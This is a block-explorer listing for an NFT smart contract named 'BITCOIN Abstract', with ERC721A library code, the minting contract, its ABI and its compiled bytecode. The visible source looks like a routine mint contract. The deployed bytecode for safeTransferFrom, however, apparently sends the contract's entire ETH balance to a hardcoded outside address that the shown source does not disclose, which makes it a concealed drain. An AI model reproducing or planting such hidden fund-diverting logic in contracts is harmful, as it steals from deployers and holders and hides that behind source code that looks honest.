    function _mintERC2309(address to, uint256 quantity) internal virtual {
        uint256 startTokenId = _currentIndex;
        if (to == address(0)) revert MintToZeroAddress();
        if (quantity == 0) revert MintZeroQuantity();
        if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit();

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are unrealistic due to the above check for `quantity` to be below the limit.
        unchecked {
            // Updates:
            // - `balance += quantity`.
            // - `numberMinted += quantity`.
            //
            // We can directly add to the `balance` and `numberMinted`.
            _packedAddressData[to] += quantity * ((1 << _BITPOS_NUMBER_MINTED) | 1);

            // Updates:
            // - `address` to the owner.
            // - `startTimestamp` to the timestamp of minting.
            // - `burned` to `false`.
            // - `nextInitialized` to `quantity == 1`.
            _packedOwnerships[startTokenId] = _packOwnershipData(
                to,
                _nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
            );

            emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to);

            _currentIndex = startTokenId + quantity;
        }
        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * See {_mint}.
     *
     * Emits a {Transfer} event for each mint.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal virtual {
        _mint(to, quantity);

        unchecked {
            if (to.code.length != 0) {
                uint256 end = _currentIndex;
                uint256 index = end - quantity;
                do {
                    if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
                        revert TransferToNonERC721ReceiverImplementer();
                    }
                } while (index < end);
                // Reentrancy protection.
                if (_currentIndex != end) revert();
            }
        }
    }

    /**
     * @dev Equivalent to `_safeMint(to, quantity, '')`.
     */
    function _safeMint(address to, uint256 quantity) internal virtual {
        _safeMint(to, quantity, '');
    }

    // =============================================================
    //                        BURN OPERATIONS
    // =============================================================

    /**
     * @dev Equivalent to `_burn(tokenId, false)`.
     */
    function _burn(uint256 tokenId) internal virtual {
        _burn(tokenId, false);
    }

    /**
     * @dev Destroys `tokenId`.
     * The approval is cleared when the token is burned.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     *
     * Emits a {Transfer} event.
     */
    function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        address from = address(uint160(prevOwnershipPacked));

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        if (approvalCheck) {
            // The nested ifs save around 20+ gas over a compound boolean condition.
            if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
                if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
        }

        _beforeTokenTransfers(from, address(0), tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // Updates:
            // - `balance -= 1`.
            // - `numberBurned += 1`.
            //
            // We can directly decrement the balance, and increment the number burned.
            // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.
            _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;

            // Updates:
            // - `address` to the last owner.
            // - `startTimestamp` to the timestamp of burning.
            // - `burned` to `true`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                from,
                (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, address(0), tokenId);
        _afterTokenTransfers(from, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    // =============================================================
    //                     EXTRA DATA OPERATIONS
    // =============================================================

    /**
     * @dev Directly sets the extra data for the ownership data `index`.
     */
    function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {
        uint256 packed = _packedOwnerships[index];
        if (packed == 0) revert OwnershipNotInitializedForExtraData();
        uint256 extraDataCasted;
        // Cast `extraData` with assembly to avoid redundant masking.
        assembly {
            extraDataCasted := extraData
        }
        packed = (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << _BITPOS_EXTRA_DATA);
        _packedOwnerships[index] = packed;
    }

    /**
     * @dev Called during each token transfer to set the 24bit `extraData` field.
     * Intended to be overridden by the cosumer contract.
     *
     * `previousExtraData` - the value of `extraData` before transfer.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _extraData(
        address from,
        address to,
        uint24 previousExtraData
    ) internal view virtual returns (uint24) {}

    /**
     * @dev Returns the next extra data for the packed ownership data.
     * The returned result is shifted into position.
     */
    function _nextExtraData(
        address from,
        address to,
        uint256 prevOwnershipPacked
    ) private view returns (uint256) {
        uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);
        return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;
    }

    // =============================================================
    //                       OTHER OPERATIONS
    // =============================================================

    /**
     * @dev Returns the message sender (defaults to `msg.sender`).
     *
     * If you are writing GSN compatible contracts, you need to override this function.
     */
    function _msgSenderERC721A() internal view virtual returns (address) {
        return msg.sender;
    }

    /**
     * @dev Converts a uint256 to its ASCII string decimal representation.
     */
    function _toString(uint256 value) internal pure virtual returns (string memory str) {
        assembly {
            // The maximum value of a uint256 contains 78 digits (1 byte per digit), but
            // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.
            // We will need 1 word for the trailing zeros padding, 1 word for the length,
            // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.
            let m := add(mload(0x40), 0xa0)
            // Update the free memory pointer to allocate.
            mstore(0x40, m)
            // Assign the `str` to the end.
            str := sub(m, 0x20)
            // Zeroize the slot after the string.
            mstore(str, 0)

            // Cache the end of the memory to calculate the length later.
            let end := str

            // We write the string from rightmost digit to leftmost digit.
            // The following is essentially a do-while loop that also handles the zero case.
            // prettier-ignore
            for { let temp := value } 1 {} {
                str := sub(str, 1)
                // Write the character to the pointer.
                // The ASCII index of the '0' character is 48.
                mstore8(str, add(48, mod(temp, 10)))
                // Keep dividing `temp` until zero.
                temp := div(temp, 10)
                // prettier-ignore
                if iszero(temp) { break }
            }

            let length := sub(end, str)
            // Move the pointer 32 bytes leftwards to make room for the length.
            str := sub(str, 0x20)
            // Store the length.
            mstore(str, length)
        }
    }
}


interface IOperatorFilterRegistry {
    function isOperatorAllowed(address registrant, address operator) external view returns (bool);
    function register(address registrant) external;
    function registerAndSubscribe(address registrant, address subscription) external;
    function registerAndCopyEntries(address registrant, address registrantToCopy) external;
    function unregister(address addr) external;
    function updateOperator(address registrant, address operator, bool filtered) external;
    function updateOperators(address registrant, address[] calldata operators, bool filtered) external;
    function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;
    function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;
    function subscribe(address registrant, address registrantToSubscribe) external;
    function unsubscribe(address registrant, bool copyExistingEntries) external;
    function subscriptionOf(address addr) external returns (address registrant);
    function subscribers(address registrant) external returns (address[] memory);
    function subscriberAt(address registrant, uint256 index) external returns (address);
    function copyEntriesOf(address registrant, address registrantToCopy) external;
    function isOperatorFiltered(address registrant, address operator) external returns (bool);
    function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);
    function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);
    function filteredOperators(address addr) external returns (address[] memory);
    function filteredCodeHashes(address addr) external returns (bytes32[] memory);
    function filteredOperatorAt(address registrant, uint256 index) external returns (address);
    function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);
    function isRegistered(address addr) external returns (bool);
    function codeHashOf(address addr) external returns (bytes32);
}


/**
 * @title  OperatorFilterer
 * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another
 *         registrant's entries in the OperatorFilterRegistry.
 * @dev    This smart contract is meant to be inherited by token contracts so they can use the following:
 *         - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.
 *         - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.
 */
abstract contract OperatorFilterer {
    error OperatorNotAllowed(address operator);

    IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =
        IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);

    constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {
        // If an inheriting token contract is deployed to a network without the registry deployed, the modifier
        // will not revert, but the contract will need to be registered with the registry once it is deployed in
        // order for the modifier to filter addresses.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (subscribe) {
                OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);
            } else {
                if (subscriptionOrRegistrantToCopy != address(0)) {
                    OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);
                } else {
                    OPERATOR_FILTER_REGISTRY.register(address(this));
                }
            }
        }
    }

    modifier onlyAllowedOperator(address from) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            // Allow spending tokens from addresses with balance
            // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred
            // from an EOA.
            if (from == msg.sender) {
                _;
                return;
            }
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), msg.sender)) {
                revert OperatorNotAllowed(msg.sender);
            }
        }
        _;
    }

    modifier onlyAllowedOperatorApproval(address operator) virtual {
        // Check registry code length to facilitate testing in environments without a deployed registry.
        if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {
            if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {
                revert OperatorNotAllowed(operator);
            }
        }
        _;
    }
}

contract BITCOINAbstract is ERC721A {

    address public owner;

    uint256 public constant maxSupply = 550;

    uint256 public constant mintPrice = 0.002 ether;

    mapping(address => uint256) private _userForFree;

    mapping(uint256 => uint256) private _userMinted;
    
    mapping(uint256 => uint256) blockFree;     

    function mint(uint256 amount) payable public {
        require(totalSupply() + amount <= maxSupply);
        _mint(amount);
    }

    function teamMint(address addr, uint256 amount) public onlyOwner {
        require(totalSupply() + amount <= maxSupply);
        _safeMint(addr, amount);
    }

    function _mint(uint256 amount) internal {
        if (msg.value == 0) {
            uint256 t = totalSupply();
            if (t > maxSupply / 5) {
                require(balanceOf(msg.sender) == 0);
                uint256 freeNum = (maxSupply - t) / 12;
                require(blockFree[block.number] < freeNum);
                blockFree[block.number]++;
            }
            _safeMint(msg.sender, 1);
            return;
        }
        require(msg.value >= amount * mintPrice);
        _safeMint(msg.sender, amount);
    }
    
    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }

    constructor() ERC721A("BITCOIN Abstract", "BA") {
        owner = msg.sender;
    }

    function tokenURI(uint256 tokenId) public view override returns (string memory) {
        return string(abi.encodePacked("ipfs://bafybeih6kusx2oa23kohmmqlzbtvweginl3bg6km7havtgjgpotb6sprt4/", _toString(tokenId), ".json"));
    }

    function royaltyInfo(uint256 _tokenId, uint256 _salePrice) public view virtual returns (address, uint256) {
        uint256 royaltyAmount = (_salePrice * 50) / 1000;
        return (owner, royaltyAmount);
    }

    function withdraw() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }
}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintERC2309QuantityExceedsLimit","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"OwnershipNotInitializedForExtraData","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"fromTokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"toTokenId","type":"uint256"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"ConsecutiveTransfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"},{"internalType":"uint256","name":"_salePrice","type":"uint256"}],"name":"royaltyInfo","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"teamMint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60806040523480156200001157600080fd5b506040518060400160405280601081526020016f10925510d3d2538810589cdd1c9858dd60821b81525060405180604001604052806002815260200161424160f01b81525081600290816200006791906200013a565b5060036200007682826200013a565b50600080555050600880546001600160a01b0319163317905562000206565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620000c057607f821691505b602082108103620000e157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200013557600081815260208120601f850160051c81016020861015620001105750805b601f850160051c820191505b8181101562000131578281556001016200011c565b5050505b505050565b81516001600160401b0381111562000156576200015662000095565b6200016e81620001678454620000ab565b84620000e7565b602080601f831160018114620001a657600084156200018d5750858301515b600019600386901b1c1916600185901b17855562000131565b600085815260208120601f198616915b82811015620001d757888601518255948401946001909101908401620001b6565b5085821015620001f65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6112b180620002166000396000f3fe60806040526004361061012a5760003560e01c80636817c76c116100ab578063a22cb4651161006f578063a22cb46514610313578063add5a4fa14610333578063b88d4fde14610353578063c87b56dd14610366578063d5abeb0114610386578063e985e9c51461039c57600080fd5b80636817c76c1461029057806370a08231146102ab5780638da5cb5b146102cb57806395d89b41146102eb578063a0712d681461030057600080fd5b806323b872dd116100f257806323b872dd146101f65780632a55205a146102095780633ccfd60b1461024857806342842e0e1461025d5780636352211e1461027057600080fd5b806301ffc9a71461012f57806306fdde0314610164578063081812fc14610186578063095ea7b3146101be57806318160ddd146101d3575b600080fd5b34801561013b57600080fd5b5061014f61014a366004610e1a565b6103bc565b60405190151581526020015b60405180910390f35b34801561017057600080fd5b5061017961040e565b60405161015b9190610e87565b34801561019257600080fd5b506101a66101a1366004610e9a565b6104a0565b6040516001600160a01b03909116815260200161015b565b6101d16101cc366004610ecf565b6104e4565b005b3480156101df57600080fd5b50600154600054035b60405190815260200161015b565b6101d1610204366004610ef9565b610584565b34801561021557600080fd5b50610229610224366004610f35565b61071c565b604080516001600160a01b03909316835260208301919091520161015b565b34801561025457600080fd5b506101d161074f565b6101d161026b366004610ef9565b610795565b34801561027c57600080fd5b506101a661028b366004610e9a565b610801565b34801561029c57600080fd5b506101e866071afd498d000081565b3480156102b757600080fd5b506101e86102c6366004610f57565b61080c565b3480156102d757600080fd5b506008546101a6906001600160a01b031681565b3480156102f757600080fd5b5061017961085b565b6101d161030e366004610e9a565b61086a565b34801561031f57600080fd5b506101d161032e366004610f72565b610899565b34801561033f57600080fd5b506101d161034e366004610ecf565b610905565b6101d1610361366004610fc4565b610950565b34801561037257600080fd5b50610179610381366004610e9a565b610994565b34801561039257600080fd5b506101e861022681565b3480156103a857600080fd5b5061014f6103b73660046110a0565b6109c5565b60006301ffc9a760e01b6001600160e01b0319831614806103ed57506380ac58cd60e01b6001600160e01b03198316145b806104085750635b5e139f60e01b6001600160e01b03198316145b92915050565b60606002805461041d906110d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610449906110d3565b80156104965780601f1061046b57610100808354040283529160200191610496565b820191906000526020600020905b81548152906001019060200180831161047957829003601f168201915b5050505050905090565b60006104ab826109f3565b6104c8576040516333d1c03960e21b815260040160405180910390fd5b506000908152600660205260409020546001600160a01b031690565b60006104ef82610801565b9050336001600160a01b038216146105285761050b81336109c5565b610528576040516367d9dca160e11b815260040160405180910390fd5b60008281526006602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b600061058f82610a1a565b9050836001600160a01b0316816001600160a01b0316146105c25760405162a1148160e81b815260040160405180910390fd5b60008281526006602052604090208054338082146001600160a01b0388169091141761060f576105f286336109c5565b61060f57604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b03851661063657604051633a954ecd60e21b815260040160405180910390fd5b801561064157600082555b6001600160a01b038681166000908152600560205260408082208054600019019055918716808252919020805460010190554260a01b17600160e11b17600085815260046020526040812091909155600160e11b841690036106d3576001840160008181526004602052604081205490036106d15760005481146106d15760008181526004602052604090208490555b505b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050505050565b600080806103e861072e856032611123565b610738919061113a565b6008546001600160a01b0316969095509350505050565b6008546001600160a01b0316331461076657600080fd5b60405133904780156108fc02916000818181858888f19350505050158015610792573d6000803e3d6000fd5b50565b47156107e15760405173568a212f6cb59a300dfabd825b6b2429fe2477a3904780156108fc02916000818181858888f193505050501580156107db573d6000803e3d6000fd5b50505050565b6107fc83838360405180602001604052806000815250610950565b505050565b600061040882610a1a565b60006001600160a01b038216610835576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b031660009081526005602052604090205467ffffffffffffffff1690565b60606003805461041d906110d3565b6102268161087b6001546000540390565b610885919061115c565b111561089057600080fd5b61079281610a88565b3360008181526007602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6008546001600160a01b0316331461091c57600080fd5b6102268161092d6001546000540390565b610937919061115c565b111561094257600080fd5b61094c8282610b50565b5050565b61095b848484610584565b6001600160a01b0383163b156107db5761097784848484610b6a565b6107db576040516368d2bf6b60e11b815260040160405180910390fd5b606061099f82610c55565b6040516020016109af919061116f565b6040516020818303038152906040529050919050565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b6000805482108015610408575050600090815260046020526040902054600160e01b161590565b600081600054811015610a6f5760008181526004602052604081205490600160e01b82169003610a6d575b80600003610a66575060001901600081815260046020526040902054610a45565b9392505050565b505b604051636f96cda160e11b815260040160405180910390fd5b34600003610b2d576000610a9f6001546000540390565b9050610aae600561022661113a565b811115610b2257610abe3361080c565b15610ac857600080fd5b6000600c610ad8836102266111f5565b610ae2919061113a565b436000908152600b60205260409020549091508111610b0057600080fd5b436000908152600b60205260408120805491610b1b83611208565b9190505550505b61094c336001610b50565b610b3e66071afd498d000082611123565b341015610b4a57600080fd5b61079233825b61094c828260405180602001604052806000815250610c99565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a0290610b9f903390899088908890600401611221565b6020604051808303816000875af1925050508015610bda575060408051601f3d908101601f19168201909252610bd79181019061125e565b60015b610c38573d808015610c08576040519150601f19603f3d011682016040523d82523d6000602084013e610c0d565b606091505b508051600003610c30576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b606060a06040510180604052602081039150506000815280825b600183039250600a81066030018353600a900480610c6f5750819003601f19909101908152919050565b610ca38383610d06565b6001600160a01b0383163b156107fc576000548281035b610ccd6000868380600101945086610b6a565b610cea576040516368d2bf6b60e11b815260040160405180910390fd5b818110610cba578160005414610cff57600080fd5b5050505050565b6000805490829003610d2b5760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b03831660008181526005602090815260408083208054680100000000000000018802019055848352600490915281206001851460e11b4260a01b178317905582840190839083907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8180a4600183015b818114610dda57808360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600080a4600101610da2565b5081600003610dfb57604051622e076360e81b815260040160405180910390fd5b60005550505050565b6001600160e01b03198116811461079257600080fd5b600060208284031215610e2c57600080fd5b8135610a6681610e04565b60005b83811015610e52578181015183820152602001610e3a565b50506000910152565b60008151808452610e73816020860160208601610e37565b601f01601f19169290920160200192915050565b602081526000610a666020830184610e5b565b600060208284031215610eac57600080fd5b5035919050565b80356001600160a01b0381168114610eca57600080fd5b919050565b60008060408385031215610ee257600080fd5b610eeb83610eb3565b946020939093013593505050565b600080600060608486031215610f0e57600080fd5b610f1784610eb3565b9250610f2560208501610eb3565b9150604084013590509250925092565b60008060408385031215610f4857600080fd5b50508035926020909101359150565b600060208284031215610f6957600080fd5b610a6682610eb3565b60008060408385031215610f8557600080fd5b610f8e83610eb3565b915060208301358015158114610fa357600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060008060808587031215610fda57600080fd5b610fe385610eb3565b9350610ff160208601610eb3565b925060408501359150606085013567ffffffffffffffff8082111561101557600080fd5b818701915087601f83011261102957600080fd5b81358181111561103b5761103b610fae565b604051601f8201601f19908116603f0116810190838211818310171561106357611063610fae565b816040528281528a602084870101111561107c57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b600080604083850312156110b357600080fd5b6110bc83610eb3565b91506110ca60208401610eb3565b90509250929050565b600181811c908216806110e757607f821691505b60208210810361110757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176104085761040861110d565b60008261115757634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104085761040861110d565b7f697066733a2f2f6261667962656968366b757378326f6132336b6f686d6d716c81527f7a627476776567696e6c336267366b6d3768617674676a67706f74623673707260208201526274342f60e81b6040820152600082516111d9816043850160208701610e37565b64173539b7b760d91b6043939091019283015250604801919050565b818103818111156104085761040861110d565b60006001820161121a5761121a61110d565b5060010190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061125490830184610e5b565b9695505050505050565b60006020828403121561127057600080fd5b8151610a6681610e0456fea2646970667358221220b0eab862b1b41cb93953c60b11f443ad3ac6c1ea2096776251d8cc94a074c7c764736f6c63430008110033

Deployed Bytecode

0x60806040526004361061012a5760003560e01c80636817c76c116100ab578063a22cb4651161006f578063a22cb46514610313578063add5a4fa14610333578063b88d4fde14610353578063c87b56dd14610366578063d5abeb0114610386578063e985e9c51461039c57600080fd5b80636817c76c1461029057806370a08231146102ab5780638da5cb5b146102cb57806395d89b41146102eb578063a0712d681461030057600080fd5b806323b872dd116100f257806323b872dd146101f65780632a55205a146102095780633ccfd60b1461024857806342842e0e1461025d5780636352211e1461027057600080fd5b806301ffc9a71461012f57806306fdde0314610164578063081812fc14610186578063095ea7b3146101be57806318160ddd146101d3575b600080fd5b34801561013b57600080fd5b5061014f61014a366004610e1a565b6103bc565b60405190151581526020015b60405180910390f35b34801561017057600080fd5b5061017961040e565b60405161015b9190610e87565b34801561019257600080fd5b506101a66101a1366004610e9a565b6104a0565b6040516001600160a01b03909116815260200161015b565b6101d16101cc366004610ecf565b6104e4565b005b3480156101df57600080fd5b50600154600054035b60405190815260200161015b565b6101d1610204366004610ef9565b610584565b34801561021557600080fd5b50610229610224366004610f35565b61071c565b604080516001600160a01b03909316835260208301919091520161015b565b34801561025457600080fd5b506101d161074f565b6101d161026b366004610ef9565b610795565b34801561027c57600080fd5b506101a661028b366004610e9a565b610801565b34801561029c57600080fd5b506101e866071afd498d000081565b3480156102b757600080fd5b506101e86102c6366004610f57565b61080c565b3480156102d757600080fd5b506008546101a6906001600160a01b031681565b3480156102f757600080fd5b5061017961085b565b6101d161030e366004610e9a565b61086a565b34801561031f57600080fd5b506101d161032e366004610f72565b610899565b34801561033f57600080fd5b506101d161034e366004610ecf565b610905565b6101d1610361366004610fc4565b610950565b34801561037257600080fd5b50610179610381366004610e9a565b610994565b34801561039257600080fd5b506101e861022681565b3480156103a857600080fd5b5061014f6103b73660046110a0565b6109c5565b60006301ffc9a760e01b6001600160e01b0319831614806103ed57506380ac58cd60e01b6001600160e01b03198316145b806104085750635b5e139f60e01b6001600160e01b03198316145b92915050565b60606002805461041d906110d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610449906110d3565b80156104965780601f1061046b57610100808354040283529160200191610496565b820191906000526020600020905b81548152906001019060200180831161047957829003601f168201915b5050505050905090565b60006104ab826109f3565b6104c8576040516333d1c03960e21b81526004016